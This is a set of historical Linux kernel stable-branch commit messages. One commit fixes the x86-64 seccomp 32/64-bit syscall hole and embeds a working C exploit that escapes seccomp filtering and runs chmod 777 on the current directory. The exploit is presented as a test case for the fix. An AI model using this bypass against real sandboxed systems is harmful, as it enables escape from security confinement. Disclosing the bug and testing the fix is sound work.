linux-toradex.git/kernel, branch v2.6.27.24

clockevents: prevent endless loop in tick_handle_periodic()

2009-05-08T21:54:36+00:00

commit 74a03b69d1b5ce00a568e142ca97e76b7f5239c6 upstream.

tick_handle_periodic() can lock up hard when a one shot clock event
device is used in combination with jiffies clocksource.

Avoid an endless loop issue by requiring that a highres valid
clocksource be installed before we call tick_periodic() in a loop when
using ONESHOT mode. The result is we will only increment jiffies once
per interrupt until a continuous hardware clocksource is available.

Without this, we can run into a endless loop, where each cycle through
the loop, jiffies is updated which increments time by tick_period or
more (due to clock steering), which can cause the event programming to
think the next event was before the newly incremented time and fail
causing tick_periodic() to be called again and the whole process loops
forever.

[ Impact: prevent hard lock up ]

Signed-off-by: John Stultz 
Signed-off-by: Andrew Morton 
Signed-off-by: Thomas Gleixner 
Cc: stable@kernel.org
Signed-off-by: Greg Kroah-Hartman

fix ptrace slowness

2009-05-02T17:24:58+00:00

commit 53da1d9456fe7f87a920a78fdbdcf1225d197cb7 upstream.

This patch fixes bug #12208:

  Bug-Entry       : http://bugzilla.kernel.org/show_bug.cgi?id=12208
  Subject         : uml is very slow on 2.6.28 host

This turned out to be not a scheduler regression, but an already
existing problem in ptrace being triggered by subtle scheduler
changes.

The problem is this:

 - task A is ptracing task B
 - task B stops on a trace event
 - task A is woken up and preempts task B
 - task A calls ptrace on task B, which does ptrace_check_attach()
 - this calls wait_task_inactive(), which sees that task B is still on the runq
 - task A goes to sleep for a jiffy
 - ...

Since UML does lots of the above sequences, those jiffies quickly add
up to make it slow as hell.

This patch solves this by not rescheduling in read_unlock() after
ptrace_stop() has woken up the tracer.

Thanks to Oleg Nesterov and Ingo Molnar for the feedback.

Signed-off-by: Miklos Szeredi 
CC: stable@kernel.org
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

exit_notify: kill the wrong capable(CAP_KILL) check (CVE-2009-1337)

2009-05-02T17:24:55+00:00

CVE-2009-1337

commit 432870dab85a2f69dc417022646cb9a70acf7f94 upstream.

The CAP_KILL check in exit_notify() looks just wrong, kill it.

Whatever logic we have to reset ->exit_signal, the malicious user
can bypass it if it execs the setuid application before exiting.

Signed-off-by: Oleg Nesterov 
Acked-by: Serge Hallyn 
Acked-by: Roland McGrath 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

kprobes: Fix locking imbalance in kretprobes

2009-05-02T17:24:37+00:00

commit f02b8624fedca39886b0eef770dca70c2f0749b3 upstream.

Fix locking imbalance in kretprobes:

=====================================
[ BUG: bad unlock balance detected! ]
-------------------------------------
kthreadd/2 is trying to release lock (&rp->lock) at:
[] pre_handler_kretprobe+0xea/0xf4
but there are no more locks to release!

other info that might help us debug this:
1 lock held by kthreadd/2:
 #0:  (rcu_read_lock){..--}, at: [] __atomic_notifier_call_chain+0x0/0x5a

stack backtrace:
Pid: 2, comm: kthreadd Not tainted 2.6.29-rc8 #1
Call Trace:
 [] ? printk+0xf/0x17
 [] ? pre_handler_kretprobe+0xea/0xf4
 [] print_unlock_inbalance_bug+0xc3/0xce
 [] ? clocksource_read+0x7/0xa
 [] ? getnstimeofday+0x5f/0xf6
 [] ? register_lock_class+0x17/0x293
 [] ? mark_lock+0x1e/0x30b
 [] ? tick_dev_program_event+0x4a/0xbc
 [] ? __slab_alloc+0xa5/0x415
 [] ? pre_handler_kretprobe+0x28/0xf4
 [] ? pre_handler_kretprobe+0xea/0xf4
 [] lock_release_non_nested+0xa4/0x1a5
 [] ? pre_handler_kretprobe+0xea/0xf4
 [] lock_release+0x141/0x166
 [] _spin_unlock_irqrestore+0x19/0x50
 [] pre_handler_kretprobe+0xea/0xf4
 [] kprobe_exceptions_notify+0x1c9/0x43e
 [] notifier_call_chain+0x26/0x48
 [] __atomic_notifier_call_chain+0x37/0x5a
 [] ? __atomic_notifier_call_chain+0x0/0x5a
 [] atomic_notifier_call_chain+0xc/0xe
 [] notify_die+0x2d/0x2f
 [] do_int3+0x1f/0x71
 [] int3+0x2c/0x34
 [] ? do_fork+0x1/0x288
 [] ? kernel_thread+0x71/0x79
 [] ? kthread+0x0/0x60
 [] ? kthread+0x0/0x60
 [] ? kernel_thread_helper+0x0/0x10
 [] kthreadd+0xac/0x148
 [] ? kthreadd+0x0/0x148
 [] kernel_thread_helper+0x7/0x10

Signed-off-by: Ananth N Mavinakayanahalli 
Tested-by: Bharata B Rao 
Cc: Masami Hiramatsu 
Cc: Jim Keniston 
Cc: Linus Torvalds 
Cc: Andrew Morton 
LKML-Reference: <20090318113621.GB4129@in.ibm.com>
Signed-off-by: Ingo Molnar 
Signed-off-by: Greg Kroah-Hartman

x86-64: seccomp: fix 32/64 syscall hole

2009-03-17T00:52:59+00:00

commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 
	#include 

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath 
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

Fix fixpoint divide exception in acct_update_integrals

2009-03-17T00:52:52+00:00

commit 6d5b5acca9e566515ef3f1ed617e7295c4f94345 upstream.

Frans Pop reported the crash below when running an s390 kernel under Hercules:

  Kernel BUG at 000738b4  verbose debug info unavailable!
  fixpoint divide exception: 0009  #1! SMP
  Modules linked in: nfs lockd nfs_acl sunrpc ctcm fsm tape_34xx
     cu3088 tape ccwgroup tape_class ext3 jbd mbcache dm_mirror dm_log dm_snapshot
     dm_mod dasd_eckd_mod dasd_mod
  CPU: 0 Not tainted 2.6.27.19 #13
  Process awk (pid: 2069, task: 0f9ed9b8, ksp: 0f4f7d18)
  Krnl PSW : 070c1000 800738b4 (acct_update_integrals+0x4c/0x118)
             R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:0 CC:1 PM:0
  Krnl GPRS: 00000000 000007d0 7fffffff fffff830
             00000000 ffffffff 00000002 0f9ed9b8
             00000000 00008ca0 00000000 0f9ed9b8
             0f9edda4 8007386e 0f4f7ec8 0f4f7e98
  Krnl Code: 800738aa: a71807d0         lhi     %r1,2000
             800738ae: 8c200001         srdl    %r2,1
             800738b2: 1d21             dr      %r2,%r1
            >800738b4: 5810d10e         l       %r1,270(%r13)
             800738b8: 1823             lr      %r2,%r3
             800738ba: 4130f060         la      %r3,96(%r15)
             800738be: 0de1             basr    %r14,%r1
             800738c0: 5800f060         l       %r0,96(%r15)
  Call Trace:
  ( <000000000004fdea>! blocking_notifier_call_chain+0x1e/0x2c)
    <0000000000038502>! do_exit+0x106/0x7c0
    <0000000000038c36>! do_group_exit+0x7a/0xb4
    <0000000000038c8e>! SyS_exit_group+0x1e/0x30
    <0000000000021c28>! sysc_do_restart+0x12/0x16
    <0000000077e7e924>! 0x77e7e924

Reason for this is that cpu time accounting usually only happens from
interrupt context, but acct_update_integrals gets also called from
process context with interrupts enabled.

So in acct_update_integrals we may end up with the following scenario:

Between reading tsk->stime/tsk->utime and tsk->acct_timexpd an interrupt
happens which updates accouting values.  This causes acct_timexpd to be
greater than the former stime + utime.  The subsequent calculation of

	dtime = cputime_sub(time, tsk->acct_timexpd);

will be negative and the division performed by

	cputime_to_jiffies(dtime)

will generate an exception since the result won't fit into a 32 bit
register.

In order to fix this just always disable interrupts while accessing any
of the accounting values.

Reported by: Frans Pop 
Tested by: Frans Pop 
Cc: Martin Schwidefsky 
Signed-off-by: Heiko Carstens 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

copy_process: fix CLONE_PARENT && parent_exec_id interaction

2009-03-17T00:52:52+00:00

commit 2d5516cbb9daf7d0e342a2e3b0fc6f8c39a81205 upstream.

CLONE_PARENT can fool the ->self_exec_id/parent_exec_id logic. If we
re-use the old parent, we must also re-use ->parent_exec_id to make
sure exit_notify() sees the right ->xxx_exec_id's when the CLONE_PARENT'ed
task exits.

Also, move down the "p->parent_exec_id = p->self_exec_id" thing, to place
two different cases together.

Signed-off-by: Oleg Nesterov 
Cc: Roland McGrath 
Cc: Andrew Morton 
Cc: David Howells 
Cc: Serge E. Hallyn 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

genirq: NULL struct irq_desc's member 'name' in dynamic_irq_cleanup()

2009-02-12T17:31:24+00:00

commit b6f3b7803a9231eddc36d0a2a6d2d8105ef89344 upstream.

If the member 'name' of the irq_desc structure happens to point to a
character string that is resident within a kernel module, problems ensue
if that module is rmmod'd (at which time dynamic_irq_cleanup() is called)
and then later show_interrupts() is called by someone.

It is also not a good thing if the character string resided in kmalloc'd
space that has been kfree'd (after having called dynamic_irq_cleanup()).
dynamic_irq_cleanup() fails to NULL the 'name' member and
show_interrupts() references it on a few architectures (like h8300, sh and
x86).

Signed-off-by: Dean Nelson 
Signed-off-by: Ingo Molnar 
Signed-off-by: Andrew Morton 
Signed-off-by: Ingo Molnar 
Signed-off-by: Greg Kroah-Hartman

wait: prevent exclusive waiter starvation

2009-02-12T17:31:04+00:00

commit 777c6c5f1f6e757ae49ecca2ed72d6b1f523c007 upstream.

With exclusive waiters, every process woken up through the wait queue must
ensure that the next waiter down the line is woken when it has finished.

Interruptible waiters don't do that when aborting due to a signal.  And if
an aborting waiter is concurrently woken up through the waitqueue, noone
will ever wake up the next waiter.

This has been observed with __wait_on_bit_lock() used by
lock_page_killable(): the first contender on the queue was aborting when
the actual lock holder woke it up concurrently.  The aborted contender
didn't acquire the lock and therefor never did an unlock followed by
waking up the next waiter.

Add abort_exclusive_wait() which removes the process' wait descriptor from
the waitqueue, iff still queued, or wakes up the next waiter otherwise.
It does so under the waitqueue lock.  Racing with a wake up means the
aborting process is either already woken (removed from the queue) and will
wake up the next waiter, or it will remove itself from the queue and the
concurrent wake up will apply to the next waiter after it.

Use abort_exclusive_wait() in __wait_event_interruptible_exclusive() and
__wait_on_bit_lock() when they were interrupted by other means than a wake
up through the queue.

[akpm@linux-foundation.org: coding-style fixes]
Reported-by: Chris Mason 
Signed-off-by: Johannes Weiner 
Mentored-by: Oleg Nesterov 
Cc: Peter Zijlstra 
Cc: Matthew Wilcox 
Cc: Chuck Lever 
Cc: Nick Piggin 
Cc: Ingo Molnar 
Signed-off-by: Andrew Morton 
Signed-off-by: Linus Torvalds 
Signed-off-by: Greg Kroah-Hartman

relay: fix lock imbalance in relay_late_setup_files

2009-02-02T16:28:16+00:00

commit b786c6a98ef6fa81114ba7b9fbfc0d67060775e3 upstream.

One fail path in relay_late_setup_files() omits
mutex_unlock(&relay_channels_mutex);
Add it.

Signed-off-by: Jiri Slaby 
Signed-off-by: Ingo Molnar 
Signed-off-by: Greg Kroah-Hartman